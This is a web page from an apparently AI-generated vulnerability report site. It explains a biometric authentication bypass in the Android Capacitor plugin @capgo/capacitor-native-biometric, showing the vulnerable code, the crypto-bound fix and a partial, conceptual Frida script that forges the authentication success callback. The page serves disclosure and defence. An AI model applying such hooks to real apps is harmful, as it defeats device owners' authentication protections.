CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-VX5F-VMR6-32WF
5.50.04%

Pinky Promise Protocol: Bypassing Biometric Auth in Capacitor

Alon Barad
Alon Barad
Software Engineer

Feb 10, 2026·5 min read·9 visits

PoC Available

Executive Summary (TL;DR)

The Android biometric implementation trusted the 'Yes, it's me' signal without checking the math. Attackers with local access (or malware) could use Frida to invoke the 'Success' callback directly, bypassing the fingerprint/FaceID check entirely. Fixed by binding the auth to a hardware-backed crypto object.

A critical flaw in the `@capgo/capacitor-native-biometric` Android implementation allowed attackers to bypass biometric authentication using simple instrumentation tools. By failing to bind the authentication event to a cryptographic operation, the plugin trusted the Java-layer callback blindly—a mechanism easily spoofed by frameworks like Frida.

The Hook: Trusting the Messenger

Biometric authentication in mobile apps often falls into a classic trap: confusing the User Interface of security with the cryptography of security. When you tap your finger on a sensor, you assume the app is doing some complex handshake with the Secure Enclave. But in the hybrid app world—specifically within the @capgo/capacitor-native-biometric plugin—that wasn't quite happening.

This plugin acts as a bridge between the JavaScript world of Capacitor and the native Android BiometricPrompt API. It's supposed to be the bouncer, ensuring that the person holding the phone is actually the owner before unlocking sensitive data or authorized sessions.

However, the implementation on Android had a fatal flaw. It relied on what we call "Unbound Authentication." It asked the operating system, "Hey, did the user pass the test?" and blindly trusted the answer. In the hostile environment of a compromised or rooted device, the operating system's answer can be forged, and the messenger—the callback function—can be bribed.

The Flaw: Logic vs. Math

The vulnerability (CWE-287) stems from how the Android BiometricPrompt API was utilized. There are two ways to implement this API:

  1. Crypto-Bound (Secure): You create a cryptographic object (like a Cipher) initialized with a key that lives in the hardware Keystore. You pass this object to the biometric prompt. If the biometric match succeeds, the hardware unlocks the key, and you can perform an encryption/decryption operation. The proof of authentication is the successful math.

  2. Unbound (Insecure): You just pop the prompt. If the user scans a finger, the OS calls onAuthenticationSucceeded. There is no cryptography involved. The proof is just a method call.

The vulnerable versions of @capgo/capacitor-native-biometric chose option 2. They effectively said, "Show the fingerprint dialog, and if the Java callback says 'OK', let them in." This is a logic check, not a cryptographic one. Logic checks in Java land are mutable. If I can run Frida or Xposed on the device, I can hook that callback and invoke it myself, completely bypassing the actual hardware sensor.

The Code: The Smoking Gun

Let's look at the difference between the vulnerable code and the hardened patch. In the original implementation, the authentication call was naked.

Vulnerable Implementation:

// AuthActivity.java (simplified)
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
    @Override
    public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
        // TRUST: We just assume this means the finger was scanned.
        finishActivity("success");
    }
});
 
// The fatal mistake: Authenticating without a CryptoObject
biometricPrompt.authenticate(promptInfo);

Because authenticate was called with only promptInfo, no hardware security module was engaged to verify the result.

The Fix (Commit 1254602): The patch introduces the CryptoObject. Now, the app generates a key that requires user authentication (setUserAuthenticationRequired(true)). It initializes a Cipher with this key and passes it to the prompt.

// Fixed Implementation
Cipher cipher = getCipher(); // Cipher initialized with a hardware-backed key
BiometricPrompt.CryptoObject cryptoObject = new BiometricPrompt.CryptoObject(cipher);
 
// The Fix: Binding the auth to the crypto object
biometricPrompt.authenticate(promptInfo, cryptoObject);

Crucially, inside the success callback, the code now uses that object:

@Override
public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
    try {
        // VERIFY: Attempt to use the key. If the biometric step was skipped via hook,
        // the key remains locked in hardware, and this throws an exception.
        result.getCryptoObject().getCipher().doFinal(new byte[] { 1 });
        finishActivity("success");
    } catch (Exception e) {
        finishActivity("error");
    }
}

The Exploit: Hooking the Callback

Exploiting this on a rooted device or within a repackaged app is trivially easy with Frida. Since the application logic relies entirely on the onAuthenticationSucceeded callback, we don't need to defeat the biometrics; we just need to tell the app we did.

Here is a conceptual Frida script that bypasses the check in the vulnerable version:

Java.perform(function() {
    var BiometricPrompt = Java.use("androidx.biometric.BiometricPrompt");
    
    // Hook the authenticate method
    BiometricPrompt.authenticate.overload('androidx.biometric.BiometricPrompt$PromptInfo').implementation = function(info) {
        console.log("[+] BiometricPrompt.authenticate called!");
        
        // Access the callback stored in the instance (this is simplified)
        // In reality, we often hook the callback class creation or the onAuthenticationSucceeded method directly.
        
        // Simulate success immediately
        var result = ...; // Mock an AuthenticationResult
        this.authenticationCallback.onAuthenticationSucceeded(result);
        
        console.log("[+] Bypassed biometrics!");
        // We don't even call the original method, so the UI might not even show up.
    };
});

By running this, the moment the app tries to show the fingerprint prompt, our hook intercepts the call and immediately fires the "Success" signal. The app unlocks, thinking the user has just pressed their thumb to the sensor.

The Fix: Hardware-Backed Reality

The mitigation strategy employed in version 8.3.7 is the industry standard for Android biometrics: Crypto-Binding.

By forcing the authenticate method to carry a CryptoObject, the security model shifts from the Application Layer (Java) to the Hardware Layer (TEE/SE). The AES key generated by the patch is flagged with setUserAuthenticationRequired(true). This means the Android Keystore refuses to use this key for encryption or decryption unless a biometric signal has just been received by the secure hardware.

Even if an attacker uses Frida to call onAuthenticationSucceeded manually, they cannot forge the state of the hardware keystore. When the patched code calls .doFinal() to encrypt a dummy byte, the hardware says, "I haven't seen a fingerprint recently," and throws a GeneralSecurityException. The application catches this exception and denies access. The logic gap is closed.

Official Patches

CapgoCommit implementing crypto-bound authentication

Fix Analysis (1)

Technical Appendix

CVSS Score
5.5/ 10
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Android Applications using Capacitor@capgo/capacitor-native-biometric < 8.3.7

Affected Versions Detail

Product
Affected Versions
Fixed Version
@capgo/capacitor-native-biometric
Capgo
< 8.3.78.3.7
AttributeDetail
CWE IDCWE-287
Attack VectorLocal / Physical
ImpactAuthentication Bypass
Exploit StatusPOC Available (Trivial)
PlatformAndroid
TechnologyCapacitor / Java

MITRE ATT&CK Mapping

T1556Modify Authentication Process
Credential Access
T1622Debugger Evasion (Lack thereof)
Defense Evasion
CWE-287
Improper Authentication

Improper Authentication

Known Exploits & Detection

Researcher AnalysisExploitation involves standard Android instrumentation techniques (Frida) to invoke the Success callback.

Vulnerability Timeline

Fix Committed by Martin Donadieu
2026-02-04
GHSA Advisory Published
2026-02-04

References & Sources

  • [1]GHSA Advisory
  • [2]Android Biometric CryptoObject Docs

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.